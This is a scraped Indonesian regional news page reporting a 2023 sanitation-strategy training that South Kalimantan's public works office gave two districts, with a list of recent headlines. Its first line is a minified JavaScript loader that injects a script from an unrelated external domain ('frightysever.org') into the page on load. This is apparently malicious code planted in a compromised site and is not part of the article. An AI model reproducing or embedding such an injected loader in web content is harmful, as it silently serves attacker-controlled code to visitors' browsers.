(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PUPR PROV KALSEL

Tambah Pengetahuan Tentang Pentingnya Pengelolaan Sanitasi, PUPR Kalsel Berikan Bimtek untuk Dua Kabupaten


KANALKALIMANTAN.COM, BANJARBARU – Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalimantan Selatan memberikan Bimbingan Teknis Peningkatan Kapasitas Pokja dan Coaching Clinic 1 Impelementasi Strategis Sanitasi Kabupaten/Kota (SSK) Tahun 2023 di Banjarbaru. 

Dua Kabupaten di Kalimantan Selatan, yakni Kabupaten Hulu Sungai Tengah dan Kabupaten Tabalong diberikan bimtek tersebut.

“Jadi kami berikan Bimtek kepada dua kabupaten guna menambah pengetahuan tentang pentingnya pengelolaan sanitasi dalam pembangunan yang berkelanjutan, dan juga memberikan penguatan kepada pokja untuk dapat melaksanakan langkah-langkah yang konkrit dalam mengimplementasi strategi sanitasi kabupaten baik di Kabupaten Hulu Sungai Tengah maupun kabupaten Tabalong,” kata Kepala Dinas PUPR Kalsel Ir Ahmad Solhan ST MT melalui Kabid Cipta Karya Ryan Tirta Nugraha, Rabu (21/6/2023).

Ryan mengatakan, pemerintah Indonesia telah menetapkan target sanitasi melalui tujuan pembangunan berkelanjutan (TPB) 2030, RPJMN 2020-2024, yaitu 90 persen layak dan 15 persen aman dan setop BABS.

Baca juga: Tingkat Kecelakaan di Perairan Meningkat, Komisi V DPR RI Perjuangkan Penambahan Personel dan Peralatan di Basarnas Banjarmasin

Guna memenuhi target tersebut, lanjut dia, maka keberadaan pokja dinilai sangat strategis dan menjadi wadah penguatan koordinasi, advokasi dan advisory antar stakeholder dalam mengawal pembangunan dan melaksanakan sinergitas pokja PKP dalam implementasi SSK. 

“Kegiatan ini dinilai cukup strategis, mengingat masih ada waktu untuk melaksanakan percepatan pencapaian target sesuai dengan RPJMN 2020-2024 untuk sektor sanitasi, sehingga dapat menjadi langkah awal dalam merumuskan strategi implementasi yang diperlukan,” ungkap dia.

Oleh karena itu, tegas dia, melalui bimtek ini diharapkan dapat melaksanakan implementasi strategi sanitasi kabupaten/kota sesuai dengan target yang ingin dicapai dalam pembangunan sanitasi. 

“Semoga Kabupaten Hulu Sungai Tengah dan Kabupaten Tabalong dapat menerapkannya,” harap dia. (kanalkalimantan.com/MCKalsel/kk)

Reporter: kk
Editor: Dhani


Al Ghifari

Recent Posts

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

17 menit ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

31 menit ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

1 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

2 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

3 jam ago

Nurgita Tiyas Berharap Guru Dapat Lebih Cakap Digital

KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More

3 jam ago

This website uses cookies.